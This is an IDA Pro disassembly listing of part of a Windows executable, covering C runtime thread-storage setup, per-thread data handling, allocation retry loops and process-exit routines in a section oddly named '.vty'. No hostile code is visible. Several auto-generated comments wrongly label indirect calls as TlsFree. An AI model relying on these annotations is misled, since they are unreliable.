		push	[esp+4+arg_0]
		call	eax
		mov	[esp+4+arg_0], eax


loc_411E1C:				; CODE XREF: sub_411DBF+41j
					; sub_411DBF+51j
		mov	eax, [esp+4+arg_0]
		pop	esi
		retn
sub_411DBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_411E22	proc near		; DATA XREF: sub_41219F+8Ao
		call	dword_41C144	; TlsAlloc
		retn	4
sub_411E22	endp


; =============== S U B	R O U T	I N E =======================================



sub_411E2B	proc near		; CODE XREF: .vty:0041044Bp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	dword_4231BC
		call	dword_41C140	; TlsGetValue
		call	eax
		retn	4
sub_411E2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_411E40	proc near		; CODE XREF: .vty:00410445p
					; .vty:00410459p
		mov	eax, dword_4231B8
		retn
sub_411E40	endp


; =============== S U B	R O U T	I N E =======================================



sub_411E46	proc near		; CODE XREF: .vty:00410440p
					; sub_4104BF+2Fp ...
		push	dword_4231BC
		call	dword_41C140	; TlsGetValue
		test	eax, eax
		jnz	short locret_411E6F
		push	dword_4243A4
		call	sub_411DBF
		pop	ecx
		push	eax
		push	dword_4231BC
		call	dword_41C148	; TlsSetValue

locret_411E6F:				; CODE XREF: sub_411E46+Ej
		retn
sub_411E46	endp


; =============== S U B	R O U T	I N E =======================================



sub_411E70	proc near		; CODE XREF: .vty:0041045Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	dword_4243A8
		call	sub_411DBF
		pop	ecx
		call	eax
		retn	8
sub_411E70	endp


; =============== S U B	R O U T	I N E =======================================



sub_411E89	proc near		; CODE XREF: sub_41219F+12p
					; sub_41219F:loc_412319p
		mov	eax, dword_4231B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411EA9
		push	eax
		push	dword_4243AC
		call	sub_411DBF
		pop	ecx
		call	eax
		or	dword_4231B8, 0FFFFFFFFh


loc_411EA9:				; CODE XREF: sub_411E89+8j
		mov	eax, dword_4231BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411EC1
		push	eax
		call	dword_41C14C	; TlsFree
		or	dword_4231BC, 0FFFFFFFFh


loc_411EC1:				; CODE XREF: sub_411E89+28j
		jmp	sub_416C79
sub_411E89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411EC6	proc near		; CODE XREF: sub_4104BF+51p
					; sub_411F7A+59p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	0Ch
		push	offset dword_41F988
		call	__SEH_prolog4
		push	offset aKernel32_dll_0 ; "KERNEL32.DLL"
		call	dword_41C0C4	; GetModuleHandleA
		mov	[ebp+var_1C], eax
		mov	esi, [ebp+arg_0]
		mov	dword ptr [esi+5Ch], offset dword_423BE0
		xor	edi, edi
		inc	edi
		mov	[esi+14h], edi
		test	eax, eax
		jz	short loc_411F18
		push	offset aEncodepointer ;	"EncodePointer"
		push	eax
		mov	ebx, dword_41C0AC
		call	ebx	; GetProcAddress
		mov	[esi+1F8h], eax
		push	offset aDecodepointer ;	"DecodePointer"
		push	[ebp+var_1C]
		call	ebx	; GetProcAddress
		mov	[esi+1FCh], eax


loc_411F18:				; CODE XREF: sub_411EC6+2Cj
		mov	[esi+70h], edi
		mov	byte ptr [esi+0C8h], 43h
		mov	byte ptr [esi+14Bh], 43h
		mov	eax, offset dword_423288
		mov	[esi+68h], eax
		push	eax
		call	dword_41C150	; InterlockedIncrement
		push	0Ch
		call	sub_416DA6
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+arg_4]
		mov	[esi+6Ch], eax
		test	eax, eax
		jnz	short loc_411F56
		mov	eax, off_423890
		mov	[esi+6Ch], eax


loc_411F56:				; CODE XREF: sub_411EC6+86j
		push	dword ptr [esi+6Ch]
		call	sub_4133C2
		pop	ecx
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_411F71
		call	__SEH_epilog4
		retn
sub_411EC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_411F71	proc near		; CODE XREF: sub_411EC6+A0p
					; DATA XREF: .vty:0041F9A0o
		push	0Ch
		call	sub_416CCE
		pop	ecx
		retn
sub_411F71	endp


; =============== S U B	R O U T	I N E =======================================



sub_411F7A	proc near		; CODE XREF: sub_40F6FC+2p sub_40F79Ep ...
		push	esi
		push	edi
		call	dword_41C0A4	; RtlGetLastWin32Error
		mov	edi, eax
		call	sub_411E46
		push	dword_4231B8
		push	dword_4231BC
		call	dword_41C140	; TlsGetValue
		call	eax ; sub_41B60D
		mov	esi, eax
		test	esi, esi
		jnz	short loc_411FF1
		push	214h
		push	1
		call	sub_412363
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_411FF1
		push	esi
		push	dword_4231B8
		push	dword_4243A8
		call	sub_411DBF
		pop	ecx
		call	eax ; sub_41B60D
		test	eax, eax
		jz	short loc_411FE8
		push	0
		push	esi
		call	sub_411EC6
		pop	ecx
		pop	ecx
		call	dword_41C120	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		jmp	short loc_411FF1
; ---------------------------------------------------------------------------


loc_411FE8:				; CODE XREF: sub_411F7A+54j
		push	esi
		call	sub_41112C
		pop	ecx
		xor	esi, esi


loc_411FF1:				; CODE XREF: sub_411F7A+27j
					; sub_411F7A+3Bj ...
		push	edi
		call	dword_41C154	; RtlSetLastWin32Error
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_411F7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_411FFD	proc near		; CODE XREF: sub_40F7E2+Fp sub_40FA79p ...
		push	esi
		call	sub_411F7A
		mov	esi, eax
		test	esi, esi
		jnz	short loc_412011
		push	10h
		call	sub_412499
		pop	ecx


loc_412011:				; CODE XREF: sub_411FFD+Aj
		mov	eax, esi
		pop	esi
		retn
sub_411FFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412015	proc near		; CODE XREF: .vty:00410496p
					; sub_412136+4Fp
					; DATA XREF: ...

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset dword_41F9A8
		call	__SEH_prolog4
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	loc_412116
		mov	eax, [esi+24h]
		test	eax, eax
		jz	short loc_41203A
		push	eax
		call	sub_41112C
		pop	ecx


loc_41203A:				; CODE XREF: sub_412015+1Cj
		mov	eax, [esi+2Ch]
		test	eax, eax
		jz	short loc_412048
		push	eax
		call	sub_41112C
		pop	ecx


loc_412048:				; CODE XREF: sub_412015+2Aj
		mov	eax, [esi+34h]
		test	eax, eax
		jz	short loc_412056
		push	eax
		call	sub_41112C
		pop	ecx


loc_412056:				; CODE XREF: sub_412015+38j
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_412064
		push	eax
		call	sub_41112C
		pop	ecx


loc_412064:				; CODE XREF: sub_412015+46j
		mov	eax, [esi+44h]
		test	eax, eax
		jz	short loc_412072
		push	eax
		call	sub_41112C
		pop	ecx


loc_412072:				; CODE XREF: sub_412015+54j
		mov	eax, [esi+48h]
		test	eax, eax
		jz	short loc_412080
		push	eax
		call	sub_41112C
		pop	ecx


loc_412080:				; CODE XREF: sub_412015+62j
		mov	eax, [esi+5Ch]
		cmp	eax, offset dword_423BE0
		jz	short loc_412091
		push	eax
		call	sub_41112C
		pop	ecx


loc_412091:				; CODE XREF: sub_412015+73j
		push	0Dh
		call	sub_416DA6
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [esi+68h]
		test	edi, edi
		jz	short loc_4120BE
		push	edi
		call	dword_41C158	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_4120BE
		cmp	edi, offset dword_423288
		jz	short loc_4120BE
		push	edi
		call	sub_41112C
		pop	ecx


loc_4120BE:				; CODE XREF: sub_412015+8Dj
					; sub_412015+98j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_412121
		push	0Ch
		call	sub_416DA6
		pop	ecx
		mov	[ebp+ms_exc.disabled], 1
		mov	edi, [esi+6Ch]
		test	edi, edi
		jz	short loc_412103
		push	edi
		call	sub_413448
		pop	ecx
		cmp	edi, off_423890
		jz	short loc_412103
		cmp	edi, offset dword_4237B8
		jz	short loc_412103
		cmp	dword ptr [edi], 0
		jnz	short loc_412103
		push	edi
		call	sub_413282
		pop	ecx


loc_412103:				; CODE XREF: sub_412015+C9j
					; sub_412015+D8j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_41212D
		push	esi
		call	sub_41112C
		pop	ecx


loc_412116:				; CODE XREF: sub_412015+11j
		call	__SEH_epilog4
		retn	4
sub_412015	endp


; =============== S U B	R O U T	I N E =======================================



sub_41211E	proc near		; DATA XREF: .vty:0041F9C0o
		mov	esi, [ebp+8]
sub_41211E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412121	proc near		; CODE XREF: sub_412015+B0p
		push	0Dh
		call	sub_416CCE
		pop	ecx
		retn
sub_412121	endp


; =============== S U B	R O U T	I N E =======================================



sub_41212A	proc near		; DATA XREF: .vty:0041F9CCo
		mov	esi, [ebp+8]
sub_41212A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41212D	proc near		; CODE XREF: sub_412015+F5p
		push	0Ch
		call	sub_416CCE
		pop	ecx
		retn
sub_41212D	endp


; =============== S U B	R O U T	I N E =======================================



sub_412136	proc near		; CODE XREF: sub_4103C5+28p

arg_0		= dword	ptr  4

		cmp	dword_4231B8, 0FFFFFFFFh
		jz	short loc_41218B
		push	edi
		mov	edi, [esp+4+arg_0]
		test	edi, edi
		jnz	short loc_41216E
		push	esi
		push	dword_4231BC
		mov	esi, dword_41C140
		call	esi	; TlsGetValue
		test	eax, eax
		jz	short loc_41216D
		push	dword_4231B8
		push	dword_4231BC
		call	esi	; TlsGetValue
		call	eax
		mov	edi, eax


loc_41216D:				; CODE XREF: sub_412136+23j
		pop	esi


loc_41216E:				; CODE XREF: sub_412136+10j
		push	0
		push	dword_4231B8
		push	dword_4243A8
		call	sub_411DBF
		pop	ecx
		call	eax
		push	edi
		call	sub_412015
		pop	edi


loc_41218B:				; CODE XREF: sub_412136+7j
		mov	eax, dword_4231BC
		cmp	eax, 0FFFFFFFFh
		jz	short locret_41219E
		push	0
		push	eax
		call	dword_41C148	; TlsSetValue

locret_41219E:				; CODE XREF: sub_412136+5Dj
		retn
sub_412136	endp


; =============== S U B	R O U T	I N E =======================================



sub_41219F	proc near		; CODE XREF: sub_4107B2:loc_4106B5p
		push	edi
		push	offset aKernel32_dll_0 ; "KERNEL32.DLL"
		call	dword_41C0C4	; GetModuleHandleA
		mov	edi, eax
		test	edi, edi
		jnz	short loc_4121BA
		call	sub_411E89
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4121BA:				; CODE XREF: sub_41219F+10j
		push	esi
		mov	esi, dword_41C0AC
		push	offset aFlsalloc ; "FlsAlloc"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFlsgetvalue ; "FlsGetValue"
		push	edi
		mov	dword_4243A0, eax
		call	esi	; GetProcAddress
		push	offset aFlssetvalue ; "FlsSetValue"
		push	edi
		mov	dword_4243A4, eax
		call	esi	; GetProcAddress
		push	offset aFlsfree	; "FlsFree"
		push	edi
		mov	dword_4243A8, eax
		call	esi	; GetProcAddress
		cmp	dword_4243A0, 0
		mov	esi, dword_41C148
		mov	dword_4243AC, eax
		jz	short loc_41221A
		cmp	dword_4243A4, 0
		jz	short loc_41221A
		cmp	dword_4243A8, 0
		jz	short loc_41221A
		test	eax, eax
		jnz	short loc_41223E


loc_41221A:				; CODE XREF: sub_41219F+63j
					; sub_41219F+6Cj ...
		mov	eax, dword_41C140
		mov	dword_4243A4, eax
		mov	eax, dword_41C14C
		mov	dword_4243A0, offset sub_411E22
		mov	dword_4243A8, esi
		mov	dword_4243AC, eax


loc_41223E:				; CODE XREF: sub_41219F+79j
		call	dword_41C144	; TlsAlloc
		cmp	eax, 0FFFFFFFFh
		mov	dword_4231BC, eax
		jz	loc_41231E
		push	dword_4243A4
		push	eax
		call	esi	; TlsSetValue
		test	eax, eax
		jz	loc_41231E
		call	sub_412755
		push	dword_4243A0
		call	sub_411D53
		push	dword_4243A4
		mov	dword_4243A0, eax
		call	sub_411D53
		push	dword_4243A8
		mov	dword_4243A4, eax
		call	sub_411D53
		push	dword_4243AC
		mov	dword_4243A8, eax
		call	sub_411D53
		add	esp, 10h
		mov	dword_4243AC, eax
		call	sub_416C30
		test	eax, eax
		jz	short loc_412319
		push	offset sub_412015
		push	dword_4243A0
		call	sub_411DBF
		pop	ecx
		call	eax	; TlsFree
		cmp	eax, 0FFFFFFFFh
		mov	dword_4231B8, eax
		jz	short loc_412319
		push	214h
		push	1
		call	sub_412363
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_412319
		push	esi
		push	dword_4231B8
		push	dword_4243A8
		call	sub_411DBF
		pop	ecx
		call	eax	; TlsFree
		test	eax, eax
		jz	short loc_412319
		push	0
		push	esi
		call	sub_411EC6
		pop	ecx
		pop	ecx
		call	dword_41C120	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		xor	eax, eax
		inc	eax
		jmp	short loc_412320
; ---------------------------------------------------------------------------


loc_412319:				; CODE XREF: sub_41219F+113j
					; sub_41219F+130j ...
		call	sub_411E89


loc_41231E:				; CODE XREF: sub_41219F+ADj
					; sub_41219F+BEj
		xor	eax, eax


loc_412320:				; CODE XREF: sub_41219F+178j
		pop	esi
		pop	edi
		retn
sub_41219F	endp


; =============== S U B	R O U T	I N E =======================================



sub_412323	proc near		; CODE XREF: sub_4113BB+5D0p
					; sub_4130CA+3Bp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		xor	esi, esi


loc_412327:				; CODE XREF: sub_412323+39j
		push	[esp+8+arg_0]
		call	sub_411069
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_41235E
		cmp	dword_4243B0, eax
		jbe	short loc_41235E
		push	esi
		call	dword_41C090	; Sleep
		lea	eax, [esi+3E8h]
		cmp	eax, dword_4243B0
		jbe	short loc_412357
		or	eax, 0FFFFFFFFh


loc_412357:				; CODE XREF: sub_412323+2Fj
		cmp	eax, 0FFFFFFFFh
		mov	esi, eax
		jnz	short loc_412327


loc_41235E:				; CODE XREF: sub_412323+12j
					; sub_412323+1Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_412323	endp


; =============== S U B	R O U T	I N E =======================================



sub_412363	proc near		; CODE XREF: sub_40DB55+5p
					; sub_40F6FC+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		xor	esi, esi


loc_412367:				; CODE XREF: sub_412363+41j
		push	0
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_417D65
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_4123A6
		cmp	dword_4243B0, eax
		jbe	short loc_4123A6
		push	esi
		call	dword_41C090	; Sleep
		lea	eax, [esi+3E8h]
		cmp	eax, dword_4243B0
		jbe	short loc_41239F
		or	eax, 0FFFFFFFFh


loc_41239F:				; CODE XREF: sub_412363+37j
		cmp	eax, 0FFFFFFFFh
		mov	esi, eax
		jnz	short loc_412367


loc_4123A6:				; CODE XREF: sub_412363+1Aj
					; sub_412363+22j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_412363	endp


; =============== S U B	R O U T	I N E =======================================



sub_4123AB	proc near		; CODE XREF: sub_40DAA8+58p
					; sub_40DAA8+6Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		xor	esi, esi


loc_4123AF:				; CODE XREF: sub_4123AB+44j
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_417E83
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jnz	short loc_4123F1
		cmp	[esp+8+arg_4], eax
		jz	short loc_4123F1
		cmp	dword_4243B0, eax
		jbe	short loc_4123F1
		push	esi
		call	dword_41C090	; Sleep
		lea	eax, [esi+3E8h]
		cmp	eax, dword_4243B0
		jbe	short loc_4123EA
		or	eax, 0FFFFFFFFh


loc_4123EA:				; CODE XREF: sub_4123AB+3Aj
		cmp	eax, 0FFFFFFFFh
		mov	esi, eax
		jnz	short loc_4123AF


loc_4123F1:				; CODE XREF: sub_4123AB+17j
					; sub_4123AB+1Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4123AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4123F6	proc near		; CODE XREF: sub_40DAA8+36p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset dword_41F9D0
		call	__SEH_prolog4
		xor	eax, eax
		mov	ebx, [ebp+arg_0]
		xor	edi, edi
		cmp	ebx, edi
		setnz	al
		cmp	eax, edi
		jnz	short loc_41242F
		call	sub_40F79E
		mov	dword ptr [eax], 16h
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40DCD8
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_412482
; ---------------------------------------------------------------------------


loc_41242F:				; CODE XREF: sub_4123F6+1Aj
		cmp	dword_424EC4, 3
		jnz	short loc_412470
		push	4
		call	sub_416DA6
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	ebx
		call	sub_416E1F
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, edi
		jz	short loc_41245C
		mov	esi, [ebx-4]
		sub	esi, 9
		mov	[ebp+var_1C], esi
		jmp	short loc_41245F
; ---------------------------------------------------------------------------


loc_41245C:				; CODE XREF: sub_4123F6+59j
		mov	esi, [ebp+var_1C]


loc_41245F:				; CODE XREF: sub_4123F6+64j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_412490
		cmp	[ebp+var_20], edi
		jnz	short loc_412480


loc_412470:				; CODE XREF: sub_4123F6+40j
		push	ebx
		push	edi
		push	dword_42487C
		call	dword_41C15C	; RtlSizeHeap
		mov	esi, eax


loc_412480:				; CODE XREF: sub_4123F6+78j
		mov	eax, esi


loc_412482:				; CODE XREF: sub_4123F6+37j
		call	__SEH_epilog4
		retn
sub_4123F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_412488	proc near		; DATA XREF: .vty:0041F9E8o
		xor	edi, edi
		mov	ebx, [ebp+8]
		mov	esi, [ebp-1Ch]
sub_412488	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412490	proc near		; CODE XREF: sub_4123F6+70p
		push	4
		call	sub_416CCE
		pop	ecx
		retn
sub_412490	endp


; =============== S U B	R O U T	I N E =======================================



sub_412499	proc near		; CODE XREF: sub_4107B2-D9p
					; sub_4107B2-B3p ...

arg_0		= dword	ptr  4

		call	sub_4143CC
		push	[esp+arg_0]
		call	sub_41422C
		push	dword_4231C0
		call	sub_411DBF
		push	0FFh
		call	eax	; TlsFree
		add	esp, 0Ch
		retn
sub_412499	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124BD	proc near		; CODE XREF: sub_4124E3+4p

arg_0		= dword	ptr  4

		push	offset aMscoree_dll ; "mscoree.dll"
		call	dword_41C0C4	; GetModuleHandleA
		test	eax, eax
		jz	short locret_4124E2
		push	offset aCorexitprocess ; "CorExitProcess"
		push	eax
		call	dword_41C0AC	; GetProcAddress
		test	eax, eax
		jz	short locret_4124E2
		push	[esp+arg_0]
		call	eax	; TlsFree

locret_4124E2:				; CODE XREF: sub_4124BD+Dj
					; sub_4124BD+1Dj
		retn
sub_4124BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124E3	proc near		; CODE XREF: sub_41056D+1Cp
					; sub_411069+34p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4124BD
		pop	ecx
		push	[esp+arg_0]
		call	dword_41C100	; ExitProcess
		int	3		; Trap to Debugger
sub_4124E3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4124F8	proc near		; CODE XREF: sub_40DB84+Cp
		push	8
		call	sub_416DA6
		pop	ecx
		retn
sub_4124F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_412501	proc near		; CODE XREF: sub_40DBBAp
		push	8
		call	sub_416CCE
		pop	ecx
		retn
sub_412501	endp


; =============== S U B	R O U T	I N E =======================================



sub_41250A	proc near		; CODE XREF: sub_412647+78p
					; sub_412647+88p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, eax
		jmp	short loc_41251A
; ---------------------------------------------------------------------------


loc_41250F:				; CODE XREF: sub_41250A+14j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_412517
		call	eax	; TlsFree


loc_412517:				; CODE XREF: sub_41250A+9j
		add	esi, 4


loc_41251A:				; CODE XREF: sub_41250A+3j
		cmp	esi, [esp+4+arg_0]
		jb	short loc_41250F
		pop	esi
		retn
sub_41250A	endp


; =============== S U B	R O U T	I N E =======================================



sub_412522	proc near		; CODE XREF: sub_4125B5+32p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		xor	eax, eax
		jmp	short loc_41253A
; ---------------------------------------------------------------------------


loc_41252B:				; CODE XREF: sub_412522+1Cj
		test	eax, eax
		jnz	short loc_412540
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_412537
		call	ecx


loc_412537:				; CODE XREF: sub_412522+11j
		add	esi, 4


loc_41253A:				; CODE XREF: sub_412522+7j
		cmp	esi, [esp+4+arg_4]
		jb	short loc_41252B


loc_412540:				; CODE XREF: sub_412522+Bj
		pop	esi
		retn
sub_412522	endp


; =============== S U B	R O U T	I N E =======================================



sub_412542	proc near		; CODE XREF: sub_415BC4+12p
					; sub_4182CC+27p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ecx, esi
		jnz	short loc_41256A


loc_41254D:				; CODE XREF: sub_412542+2Fj
		call	sub_40F79E
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		push	16h
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41256A:				; CODE XREF: sub_412542+9j
		mov	eax, dword_4243B8
		cmp	eax, esi
		jz	short loc_41254D
		mov	[ecx], eax
		xor	eax, eax
		pop	esi
		retn
sub_412542	endp


; =============== S U B	R O U T	I N E =======================================



sub_412579	proc near		; CODE XREF: sub_415BC4+2Dp
					; sub_419937+11Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_4125A1


loc_412584:				; CODE XREF: sub_412579+2Ej
		call	sub_40F79E
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		push	16h
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4125A1:				; CODE XREF: sub_412579+9j
		cmp	dword_4243B8, esi
		jz	short loc_412584
		mov	ecx, dword_4243C4
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
sub_412579	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125B5	proc near		; CODE XREF: sub_4107B2-9Bp

arg_0		= dword	ptr  4

		cmp	dword_426020, 0
		jz	short loc_4125D8
		push	offset dword_426020
		call	sub_4152A2
		test	eax, eax
		pop	ecx
		jz	short loc_4125D8
		push	[esp+arg_0]
		call	dword_426020
		pop	ecx


loc_4125D8:				; CODE XREF: sub_4125B5+7j
					; sub_4125B5+16j
		call	sub_417B14
		push	offset dword_41C244
		push	offset dword_41C228
		call	sub_412522
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short locret_412646
		push	esi
		push	edi
		push	offset sub_415BA0
		call	sub_40DBC0
		mov	esi, offset dword_41C220
		mov	eax, esi
		mov	edi, offset dword_41C224
		cmp	eax, edi
		pop	ecx
		jnb	short loc_41261E


loc_41260F:				; CODE XREF: sub_4125B5+67j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_412617
		call	eax


loc_412617:				; CODE XREF: sub_4125B5+5Ej
		add	esi, 4
		cmp	esi, edi
		jb	short loc_41260F


loc_41261E:				; CODE XREF: sub_4125B5+58j
		cmp	dword_426024, 0
		pop	edi
		pop	esi
		jz	short loc_412644
		push	offset dword_426024
		call	sub_4152A2
		test	eax, eax
		pop	ecx
		jz	short loc_412644
		push	0
		push	2
		push	0
		call	dword_426024


loc_412644:				; CODE XREF: sub_4125B5+72j
					; sub_4125B5+81j
		xor	eax, eax

locret_412646:				; CODE XREF: sub_4125B5+3Bj
		retn
sub_4125B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412647	proc near		; CODE XREF: sub_412715+8p
					; sub_412726+8p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0041270F SIZE 00000006 BYTES

		push	0Ch
		push	offset dword_41F9F0
		call	__SEH_prolog4
		push	8
		call	sub_416DA6
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		xor	esi, esi
		inc	esi
		cmp	dword_4243F8, esi
		jz	short loc_4126D5
		mov	dword_4243F4, esi
		mov	al, byte ptr [ebp+arg_8]
		mov	byte_4243F0, al
		cmp	[ebp+arg_4], 0
		jnz	short loc_4126C5
		push	dword_426018
		call	sub_411DBF
		mov	edi, eax
		push	dword_426014
		call	sub_411DBF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C], eax
		test	edi, edi
		jz	short loc_4126B5


loc_41269F:				; CODE XREF: sub_412647+68j
					; sub_412647+6Cj
		sub	[ebp+var_1C], 4
		cmp	[ebp+var_1C], edi
		jb	short loc_4126B5
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_41269F
		call	eax
		jmp	short loc_41269F
; ---------------------------------------------------------------------------


loc_4126B5:				; CODE XREF: sub_412647+56j
					; sub_412647+5Fj
		push	offset dword_41C254
		mov	eax, offset dword_41C248
		call	sub_41250A
		pop	ecx


loc_4126C5:				; CODE XREF: sub_412647+35j
		push	offset dword_41C260
		mov	eax, offset dword_41C258
		call	sub_41250A
		pop	ecx


loc_4126D5:				; CODE XREF: sub_412647+21j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_412700
		cmp	[ebp+arg_8], 0
		jnz	short loc_41270F
		mov	dword_4243F8, esi
		push	8
		call	sub_416CCE
		pop	ecx
		push	[ebp+arg_0]
		call	sub_4124E3


loc_4126FD:				; DATA XREF: .vty:0041FA08o
		xor	esi, esi
		inc	esi
sub_412647	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412700	proc near		; CODE XREF: sub_412647+95p
		cmp	dword ptr [ebp+10h], 0
		jz	short locret_41270E
		push	8
		call	sub_416CCE
		pop	ecx

locret_41270E:				; CODE XREF: sub_412700+4j
		retn
sub_412700	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_412647


loc_41270F:				; CODE XREF: sub_412647+9Ej
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_412647

; =============== S U B	R O U T	I N E =======================================



sub_412715	proc near		; CODE XREF: sub_4107B2-5Fp

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_412647
		add	esp, 0Ch
		retn
sub_412715	endp


; =============== S U B	R O U T	I N E =======================================



sub_412726	proc near		; CODE XREF: .vty:00410439p
					; .vty:00410783p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_412647
		add	esp, 0Ch
		retn
sub_412726	endp


; =============== S U B	R O U T	I N E =======================================



sub_412737	proc near		; CODE XREF: sub_4107B2:loc_410758p
		push	1
		push	0
		push	0
		call	sub_412647
		add	esp, 0Ch
		retn
sub_412737	endp


; =============== S U B	R O U T	I N E =======================================



sub_412746	proc near		; CODE XREF: .vty:loc_410788p
		push	1
		push	1
		push	0
		call	sub_412647
		add	esp, 0Ch
		retn
sub_412746	endp


; =============== S U B	R O U T	I N E =======================================



sub_412755	proc near		; CODE XREF: sub_41219F+C4p
		push	esi
		call	sub_411DB6
		mov	esi, eax
		push	esi
		call	sub_412B08
		push	esi
		call	sub_4182B2
		push	esi
		call	sub_40DBD2
		push	esi
		call	sub_414405
		push	esi
		call	sub_4182A8
		push	esi
		call	sub_41809E
		push	esi
		call	nullsub_1
		push	esi
		call	sub_416ACB
		push	offset sub_412726
		call	sub_411D53
		add	esp, 24h
		mov	dword_4231C0, eax
		pop	esi
		retn
sub_412755	endp

; ---------------------------------------------------------------------------
		align 4
; [00000045 BYTES: COLLAPSED FUNCTION __SEH_prolog4. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION __SEH_epilog4. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_412800	proc near		; DATA XREF: __SEH_prolog4o

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
